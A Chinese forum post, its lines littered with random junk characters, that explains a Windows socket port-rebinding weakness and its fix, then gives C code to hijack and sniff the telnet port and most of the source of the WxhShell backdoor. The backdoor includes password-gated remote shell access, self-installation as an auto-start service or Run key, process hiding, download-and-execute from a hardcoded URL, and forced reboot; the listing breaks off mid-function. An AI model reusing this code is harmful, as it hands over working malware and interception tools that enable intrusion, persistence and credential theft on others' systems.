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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v8pUt\m"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1N#TL"lMS  
-,4_ &V  
  saddr.sin_family = AF_INET; -F5U.6~`!  
 ) mv}u~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lbv, jS  
x!"!oJG^k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *FG@Dts^&  
_B W$?:)9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MX9 q )(:  
* =;=VUu5  
  这意味着什么?意味着可以进行如下的攻击: OpH9sBnA  
W%1fm/ G0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 AKAAb~{  
0/] @#G2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7r}gS2d  
#c!(97l6o  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KCCS7l/  
D=dY4WwG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $X\BO&  
Ke 'bH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C2Y&qX,  
+d'h20  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 EB> RY+\  
MuO>O97  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .s2d  
 ^5 ;Y  
  #include spe9^.SI  
  #include <D4)gRRo  
  #include qt;6CzL C  
  #include    }.T$bj1B;V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (.n" J2qj  
  int main() h+$_:](PC  
  { ~$Mp>ZB2W  
  WORD wVersionRequested; OEAF.  
  DWORD ret; Zn9w1ev  
  WSADATA wsaData; {1SxM /  
  BOOL val; X=.+XP]  
  SOCKADDR_IN saddr; {{<o1{_H  
  SOCKADDR_IN scaddr; Z;n}*^U  
  int err; 2r* o  
  SOCKET s; h hd n9n  
  SOCKET sc; k| jC c  
  int caddsize; %b!p{p  
  HANDLE mt; %@r h\Z  
  DWORD tid;   !w/~dy  
  wVersionRequested = MAKEWORD( 2, 2 ); n%?g+@y,^  
  err = WSAStartup( wVersionRequested, &wsaData ); e=F' O] 5  
  if ( err != 0 ) { 3cfkJ|fuwe  
  printf("error!WSAStartup failed!\n"); 8KAyif@1::  
  return -1; ,*%8*]<=  
  } 4ErDGYg}  
  saddr.sin_family = AF_INET; sJ0y3)PQ  
   > ZNL pJQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Xbu >8d?n  
N.isvDk%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J#X7Ss  
  saddr.sin_port = htons(23); 'Lm.`U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =)bZSb"<"  
  { =1esUO[nx  
  printf("error!socket failed!\n"); Q5jP`<zWU  
  return -1; h]zx7zt-  
  } TvQAy/Y0  
  val = TRUE; Kt^PL&A2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Gpgi@ Uf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gB0)ec 0  
  { |]I?^:I  
  printf("error!setsockopt failed!\n"); KlrKGmy,)  
  return -1; @lj  
  } 60p1.;' /a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WUHx0I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p(U'Ydl~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P!vBS "S  
ZRX>SyM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) opIcSm&  
  { pw$I~3OFd  
  ret=GetLastError(); t>25IJG  
  printf("error!bind failed!\n"); B@s\>QMm  
  return -1; w6E?TI  
  } vfo[<"  
  listen(s,2); tq*Q|9j7VG  
  while(1) _@@S,(MA  
  { n@%'Nbc>b  
  caddsize = sizeof(scaddr); 8l}|.Q#--  
  //接受连接请求 v)pdm\P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ae^xuM?7  
  if(sc!=INVALID_SOCKET) c{852R  
  { AOfQqGf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); da-3hM!u+  
  if(mt==NULL) dyx 4_!fO  
  { Q \{\u J x  
  printf("Thread Creat Failed!\n"); _WSJg1  
  break; t /47lYN)  
  } {bNnhW*qOu  
  } a1}W2;W0]g  
  CloseHandle(mt); U ^,ld`  
  } D~%cf  
  closesocket(s); Dnp^yqz*  
  WSACleanup(); od|pI5St  
  return 0; }U(^QB  
  }   B;-oa;m:E=  
  DWORD WINAPI ClientThread(LPVOID lpParam) ("TI~  
  { wWm#[f],?  
  SOCKET ss = (SOCKET)lpParam; o?X\,}-s  
  SOCKET sc; tl4;2m3w  
  unsigned char buf[4096]; ML'R[~|  
  SOCKADDR_IN saddr; U .rH,`  
  long num; *".7O*jjV  
  DWORD val; *|jqRfa"  
  DWORD ret; SEuj=Vie#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 eIEcj<f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wHY;Y-(ZT  
  saddr.sin_family = AF_INET;  r>G$u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hrW.TwK  
  saddr.sin_port = htons(23); w"sRK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *;}!WDr  
  { NH?s  
  printf("error!socket failed!\n"); ~f@;.  
  return -1; tz)L`g/J~  
  } `\qU.m0(j  
  val = 100; G%>[I6G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X%gJ, c(4  
  { ZWr\v!4  
  ret = GetLastError(); &zm5s*yNt  
  return -1;  q)%C|  
  } F6 UOo.L)I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) INkrG.=u  
  { a$KM q>  
  ret = GetLastError(); x:@e ID  
  return -1; s_kI\w4(x1  
  } N-NwGD{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8!T^KMfz  
  { CtE".UlCA  
  printf("error!socket connect failed!\n"); zL_X?UmV  
  closesocket(sc); d~n+Ds)%F  
  closesocket(ss); 6\]-J*e>  
  return -1; Pjx9@i  
  } Gis'IX(  
  while(1) 4RzG3CJdS  
  { sC}/?^q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -OziUM1qs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fZGKVxo"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ZHB'^#b  
  num = recv(ss,buf,4096,0); * T~sR'K+|  
  if(num>0) 'N}Wo}1r  
  send(sc,buf,num,0); 5H',Bm4-  
  else if(num==0) vWgh?h/ot  
  break; R `'@$"  
  num = recv(sc,buf,4096,0); Rc6Rk!^  
  if(num>0) 7'<4'BGzl]  
  send(ss,buf,num,0); [s2%t"H-y  
  else if(num==0) /wK7l-S  
  break; +wio:==  
  } :b ;5O3:B  
  closesocket(ss);  %k2zsM  
  closesocket(sc); ~ PPGU1  
  return 0 ; '}}DPoV  
  } l@GpVdrv  
q6,xsO,+  
qItI):9U  
========================================================== %tu{`PN<  
w%$n)7<*  
下边附上一个代码,,WXhSHELL 0lBl5k e  
sG}9l1  
========================================================== O_:Q#  
3 C[ ;2  
#include "stdafx.h" X)|%[aX}q  
o3`Z@-.G  
#include <stdio.h> q!7\`>.2:{  
#include <string.h> ?/u&U\P  
#include <windows.h> x r=f9?%R  
#include <winsock2.h> ;3-ssF}k*  
#include <winsvc.h> TLkkB09fvk  
#include <urlmon.h> 4@VX%5uy  
bb<Vh2b>R  
#pragma comment (lib, "Ws2_32.lib") L Y M`  
#pragma comment (lib, "urlmon.lib") )/=J=xw2  
PJ_|=bn  
#define MAX_USER   100 // 最大客户端连接数 a@X'oV`(2b  
#define BUF_SOCK   200 // sock buffer |n~v_V2.0  
#define KEY_BUFF   255 // 输入 buffer $M><K  
y_nh~&  
#define REBOOT     0   // 重启 Vt&I[osC  
#define SHUTDOWN   1   // 关机 !P;qc  
%:/;R_  
#define DEF_PORT   5000 // 监听端口 Z BYmAD  
|)lo<}{  
#define REG_LEN     16   // 注册表键长度 Ky=&C8b<  
#define SVC_LEN     80   // NT服务名长度 ' ZB%McS  
jVA xa|S  
// 从dll定义API c9& 8kq5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $~j]/U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MRa>@Jn??A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  {<i!Pm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '.bMkty#  
 "3v%|  
// wxhshell配置信息 7j]@3D9[:p  
struct WSCFG { U9 If%0P  
  int ws_port;         // 监听端口 zL{KK9Or  
  char ws_passstr[REG_LEN]; // 口令 ?LW1D+  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z# :Ww  
  char ws_regname[REG_LEN]; // 注册表键名 ePF9Vzq  
  char ws_svcname[REG_LEN]; // 服务名 ~p8!Kb6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F |GWYw'%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yZ2,AR%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C{,nDa?|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CR _A{(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xo*a9H?@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r"4:aKF>  
aR3W9  
}; HH]LvK  
5-sxTp  
// default Wxhshell configuration \;sUJr"$  
struct WSCFG wscfg={DEF_PORT, ]_ _M*  
    "xuhuanlingzhe", rzex"}/ly  
    1, #A|M NJ%m  
    "Wxhshell", Axcm~ !uf  
    "Wxhshell", i\3`?d  
            "WxhShell Service", 4[(P>`Unx  
    "Wrsky Windows CmdShell Service", s5[ Cr"q7B  
    "Please Input Your Password: ", )S5Q5"j&=f  
  1, U2h?l `nP  
  "http://www.wrsky.com/wxhshell.exe", LsmC/+7r$1  
  "Wxhshell.exe" YS/DIH{9e  
    }; <?I~ +  
1M+mH#?  
// 消息定义模块 P3:hGmk8|j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U_!6pqFc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {:? -)Xq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =A,i9Z&  
char *msg_ws_ext="\n\rExit."; _E1:3 N|  
char *msg_ws_end="\n\rQuit."; u=4tW:W,  
char *msg_ws_boot="\n\rReboot..."; P!-9cd1 C,  
char *msg_ws_poff="\n\rShutdown..."; Bkcs4 x  
char *msg_ws_down="\n\rSave to "; k muF*0Bjk  
Bp b_y;E  
char *msg_ws_err="\n\rErr!"; vb$k/8JK  
char *msg_ws_ok="\n\rOK!"; Va{`es)hky  
3n,F5?! m  
char ExeFile[MAX_PATH]; h-6kf:XP%  
int nUser = 0; 1|Fukx<@J<  
HANDLE handles[MAX_USER]; h<}4mo_ $  
int OsIsNt; y0z}[hZ  
b>o38(  
SERVICE_STATUS       serviceStatus; 05w_/l+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uRp-yu[nt%  
Bf8 #&]O  
// 函数声明 =WHdy;  
int Install(void); BCFvqhF7s  
int Uninstall(void); g<tr |n  
int DownloadFile(char *sURL, SOCKET wsh); 3Hr ZN+D  
int Boot(int flag); tNq~M  
void HideProc(void); \# #~Tq  
int GetOsVer(void); 3p")  
int Wxhshell(SOCKET wsl); 0dXWy`Mn  
void TalkWithClient(void *cs); teET nz_L  
int CmdShell(SOCKET sock); N 0`)WLW  
int StartFromService(void); 7=}`"7i~  
int StartWxhshell(LPSTR lpCmdLine); V+DN<F-  
%\CsP!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P0|V1,)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c!j$ -Ovm  
hX<0{pXM4  
// 数据结构和表定义 S\mh{#Lpk  
SERVICE_TABLE_ENTRY DispatchTable[] = 1*#64Y5F  
{ qA5tMZ^w  
{wscfg.ws_svcname, NTServiceMain}, RtN5\  
{NULL, NULL} ^ @sg{_.~l  
}; =%p0r z|b  
s:6H^DQ"C  
// 自我安装 )88z=5.  
int Install(void) iz& )FuOr  
{ V) C4 sG  
  char svExeFile[MAX_PATH]; lor jMS  
  HKEY key; >DPC}@Wl  
  strcpy(svExeFile,ExeFile); {}~7Gi!  
{QI"WFdGx  
// 如果是win9x系统,修改注册表设为自启动 K&\xbT  
if(!OsIsNt) { <-FAF:6$@@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r. :LZEr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +%oXPG?  
  RegCloseKey(key); ]~GwZB'M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )}tI8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oBpHmMzA  
  RegCloseKey(key); 4Y;z46yM%  
  return 0; iJT_*,P^  
    } )Z,O*u*  
  } g>cp;co9g  
} =:uK$>[  
else { X=8y$Yy  
}f/ 1  
// 如果是NT以上系统,安装为系统服务 )|zLjF$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Etj@wy/E  
if (schSCManager!=0) 2ntL7F<ow  
{ +7.\>Ucq`  
  SC_HANDLE schService = CreateService &iORB  
  ( wL\OAM6R  
  schSCManager, "@#^/m)  
  wscfg.ws_svcname, Rq|7$O5  
  wscfg.ws_svcdisp, >;LXy  
  SERVICE_ALL_ACCESS, M2l0x @|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i]Njn k  
  SERVICE_AUTO_START, scT,yNV  
  SERVICE_ERROR_NORMAL, $qV, z  
  svExeFile, V9mqJRFJ:  
  NULL, \C#X Kk$OE  
  NULL, \QGh@AQp"  
  NULL, Y{ijSOl3  
  NULL, 49W@?: b  
  NULL yb\T< *  
  ); sIJl9  
  if (schService!=0) dG2k4 O  
  { Arc6d5Q  
  CloseServiceHandle(schService); aA7}>  
  CloseServiceHandle(schSCManager); yS'W ss  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K&3,J7&&  
  strcat(svExeFile,wscfg.ws_svcname); ^ ~'&K e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '1+s^Q'pc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  d|;S4m`  
  RegCloseKey(key); f#f<Ii  
  return 0; C-u'Me)H  
    } {<+B>6^  
  } 0n<>X&X  
  CloseServiceHandle(schSCManager); E^qJ5pr_P  
} D<U^FT  
} C>wOoXjt  
4z%::?  
return 1; l1HMH?0|  
} jlXzfD T  
v#c'p^T  
// 自我卸载 {%Cb0Zh  
int Uninstall(void) Gj!9#on$7R  
{ C.4r`F$p  
  HKEY key; ]ie38tX$  
4} .PQ{  
if(!OsIsNt) { /Z^"[Ke  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [J{\Ke0<e1  
  RegDeleteValue(key,wscfg.ws_regname); Y &wtF8  
  RegCloseKey(key); 1K{u>T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IyK^` y  
  RegDeleteValue(key,wscfg.ws_regname); 6Ft?9 B(F:  
  RegCloseKey(key); 0gTv:1F /  
  return 0; Rxb?SBa  
  } 3u[m? Vw  
} r ]s7a?O  
} 3EkCM_]  
else { +{#65 z  
fJ<I|ZZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q3"{v0  
if (schSCManager!=0) zbY2gq@?  
{ 7XzhKA6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p+7G  
  if (schService!=0) Cfs2tN  
  { Y=83r]%  
  if(DeleteService(schService)!=0) { nSy{ {d  
  CloseServiceHandle(schService); RISDjU3  
  CloseServiceHandle(schSCManager); F+@/"1c  
  return 0; 8FT]B/^&m  
  } *Ri\7CqU"6  
  CloseServiceHandle(schService); }uR[H2D`L  
  } 76::X:76  
  CloseServiceHandle(schSCManager); }_mVXjF  
} _+7+90u  
} .q90+9Ek=  
]y0bgKTK  
return 1; epN!+(v  
} JkShtLEr  
Jn7T5$pJ  
// 从指定url下载文件 #B2a?   
int DownloadFile(char *sURL, SOCKET wsh) TW?_fse*[  
{ )d~{gPr.  
  HRESULT hr; 8NnGN(a*D  
char seps[]= "/"; ,Iv eKk5W  
char *token; z`}z7e'>  
char *file; 6.Jvqn  
char myURL[MAX_PATH]; & zR\Rmpt  
char myFILE[MAX_PATH]; 3#A4A0  
\+)aYP2Hu  
strcpy(myURL,sURL); "_^vQ1M]Z  
  token=strtok(myURL,seps); =cR"_Z[8X  
  while(token!=NULL) ej,)< *  
  { &2,3R}B/  
    file=token; .}9Lj  
  token=strtok(NULL,seps); ^r=Wj@`  
  } @>fsg-|  
_jb' HP  
GetCurrentDirectory(MAX_PATH,myFILE); ?kIyo  
strcat(myFILE, "\\"); "hmLe(jo}  
strcat(myFILE, file); '@/1e\-y  
  send(wsh,myFILE,strlen(myFILE),0); -1{f(/  
send(wsh,"...",3,0); 'Z*`~,Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4aP 96  
  if(hr==S_OK) $fCKK&Wy  
return 0; LD*XNcE  
else /8#e < p  
return 1; R 7h^ @  
[I?[N.v  
} G! Y l0Zr  
,&~-Sq) ~  
// 系统电源模块 Ij>G7Q*d  
int Boot(int flag) A` ~R\j  
{ i/ .#`  
  HANDLE hToken; =,b6yV+$D  
  TOKEN_PRIVILEGES tkp; .C\2f+(U  
)IVk4|  
  if(OsIsNt) { %9 3R/bx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x2,;ar\D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h2-v.Tjf  
    tkp.PrivilegeCount = 1; }_Ci3|G>%D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7qSnP 30}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;E_Go&Vd  
if(flag==REBOOT) { })+iAxR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }a !ny  
  return 0; .mHVJ5^:4\  
} enx+,[  
else { 5X>K#N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &MZ{B/;;H  
  return 0; bf=!\L$  
} Y\Z6u)  
  } `_k_}9Fr  
  else { hg %iv%1B'  
if(flag==REBOOT) { kQ]4Bo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |:.s6a#(  
  return 0; 6B|OKwL  
} o~<jayqU  
else { ?W_8 X2(`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1N_T/I8_F  
  return 0; QOX'ZAB`  
} Jk v!]C  
} OMW]9E  
2$o#b .  
return 1; &q&~&j'[  
} $Zr \$z2  
&pQ[(|=(  
// win9x进程隐藏模块 h3bQ<?m  
void HideProc(void) 7H*,HZc@=  
{ Q;N)$Xx  
: t9sAD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?V}ub>J/=  
  if ( hKernel != NULL ) -X_\3J  
  { w/ ^_w5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b*W,8HF4,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7;c^*"Ud  
    FreeLibrary(hKernel); a"i(.(9$J  
  } T X iu/g(  
] g<$f#S  
return; S\]9mHJI  
} k.7!)jL7  
VDro(?p8Z  
// 获取操作系统版本 y #C9@C  
int GetOsVer(void) H,W8JNPs  
{ zB`J+r;LU  
  OSVERSIONINFO winfo; M@l|n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dDSb1TM  
  GetVersionEx(&winfo); }.(DQwC}1k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z;?ztpa@  
  return 1; CDF;cM"td  
  else qRgFVX+vc  
  return 0; w:9`R<L  
} 5VpqDL~d  
=`*@OJHH  
// 客户端句柄模块 >0[:uu,'>  
int Wxhshell(SOCKET wsl) fN@ZJ~F%j  
{ P* i 'uN  
  SOCKET wsh; <2oMk#Ng^  
  struct sockaddr_in client; & kVa*O  
  DWORD myID; |Eh2#K0x4G  
CzY18-L@EX  
  while(nUser<MAX_USER) !VaC=I^{  
{ !4!qHJISa  
  int nSize=sizeof(client); mZXtHFMu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W}N7jPO}  
  if(wsh==INVALID_SOCKET) return 1; *P5\T4!+d  
m]*a;a'}#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Niu |M@  
if(handles[nUser]==0) N p*T[J  
  closesocket(wsh); vz#-uw,O:  
else .%dGSDru  
  nUser++; 1JU je  
  } r*8a!jm?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o=#ym4hJ%  
Z"'*A\r2  
  return 0; }A]e C  
} R!%HQA1U  
j/Y]3RSMp  
// 关闭 socket 8(&6*- 7=  
void CloseIt(SOCKET wsh) yY!)2{F+  
{ j!kJ@lbP  
closesocket(wsh);  zR'EQ  
nUser--; `k*;%}X\  
ExitThread(0); `#w#!@s#@  
} 2@?X>,  
ES!e/l  
// 客户端请求句柄 GRJ6|T$!?$  
void TalkWithClient(void *cs) VwRZgL  
{ D"-Wo}"8O'  
n_rpT .[  
  SOCKET wsh=(SOCKET)cs; 1_Ks*7vuq  
  char pwd[SVC_LEN]; SOX7  
  char cmd[KEY_BUFF]; g\q4-  
char chr[1]; qBcbMa9m  
int i,j; oemN$g&7  
SUIJ{!F/  
  while (nUser < MAX_USER) { b{,v?7^4  
w&T\8k=  
if(wscfg.ws_passstr) { Q"U%]2@=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  *U6+b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;du},>T$n  
  //ZeroMemory(pwd,KEY_BUFF); /\<x8BJ  
      i=0; Z*f%R\u  
  while(i<SVC_LEN) { bcvm]aPu  
ItvcN  
  // 设置超时 yH]Q;X '  
  fd_set FdRead; qy.$5-e:[9  
  struct timeval TimeOut; UCjx   
  FD_ZERO(&FdRead); ~OsLbz:  
  FD_SET(wsh,&FdRead); %o4v} mzV  
  TimeOut.tv_sec=8; PYWFz   
  TimeOut.tv_usec=0; 2HSFMgy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i$p2am8f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j1qU 4#Y  
&zB>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ja~Dp5  
  pwd=chr[0]; ! [1aP,  
  if(chr[0]==0xd || chr[0]==0xa) { R&6@*Nn  
  pwd=0; /O.Ql ,6[  
  break; rQlQ^W$=?  
  } +TA~RC d  
  i++; 7P(jMalq  
    } v4Rci^8  
9B;WjXSe  
  // 如果是非法用户,关闭 socket 3) d }3w {  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [;7zg@Sa  
} Nu?A>Q  
%*!6R:gAp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n"aF#HR?0d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AaxQBTB  
ub fh4  
while(1) { ^^7@kh mNl  
mD.6cV  
  ZeroMemory(cmd,KEY_BUFF); 0>BI[x@  
$#+D:W)az  
      // 自动支持客户端 telnet标准   7g]mrI@  
  j=0; (yi zM  
  while(j<KEY_BUFF) { P*?|E@;s`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WA1d8nl  
  cmd[j]=chr[0]; =No#/_  
  if(chr[0]==0xa || chr[0]==0xd) { ~GX ]K H  
  cmd[j]=0; oy#(]K3`O  
  break; QICxSk  
  } T?f{.a)  
  j++; P (7Q8i'  
    } VpY D/Oj4;  
r5UV BV8T  
  // 下载文件 OomC%9/=,  
  if(strstr(cmd,"http://")) { l,]%D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?Y -;781  
  if(DownloadFile(cmd,wsh)) T30fp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s@"|o3BX  
  else =bja\r{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); svDnw cl  
  } %L]sQq,  
  else { YaSBIq{z  
bo90;7EK8  
    switch(cmd[0]) { xR%NiYNQz  
  [^ r8P:Ad  
  // 帮助 >itabG-&  
  case '?': { zI,Qc60B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y DHP-0?  
    break; (pv}>1  
  }  XD8 I.q  
  // 安装 onRTX|#  
  case 'i': { R_g(6l"3R^  
    if(Install()) wG7>2*(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @:PMb Ub  
    else :x[()J~N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ri`6X_xU  
    break; Mb[4_Dc  
    } ttJ'6lGXh  
  // 卸载 Z ]  G#:  
  case 'r': { - A@<zqu  
    if(Uninstall()) GVlT+Rs7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 FZR }e\  
    else Q>+rjN;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k'|yUJ,  
    break; +x`pWH]2  
    } PDw+Q  
  // 显示 wxhshell 所在路径 c CDT27 @  
  case 'p': { '6){~ee S  
    char svExeFile[MAX_PATH]; @{fwM;me]P  
    strcpy(svExeFile,"\n\r"); oz.z>+Q  
      strcat(svExeFile,ExeFile); bcy  
        send(wsh,svExeFile,strlen(svExeFile),0); v'?o#_La+  
    break; U7jDm>I  
    } ]nebL{}5  
  // 重启 }T\.;$f  
  case 'b': { 2*O# m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -(WRhBpw  
    if(Boot(REBOOT)) 'v0rnIsI?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T}msF  
    else { N2}Y8aR~  
    closesocket(wsh); ;a@riPqx!  
    ExitThread(0); >lqo73gM9  
    } RV{%@1Pu  
    break; c-(dm:  
    } H<fi,"X^  
  // 关机 # }}6JM  
  case 'd': { r^msJ|k8[  
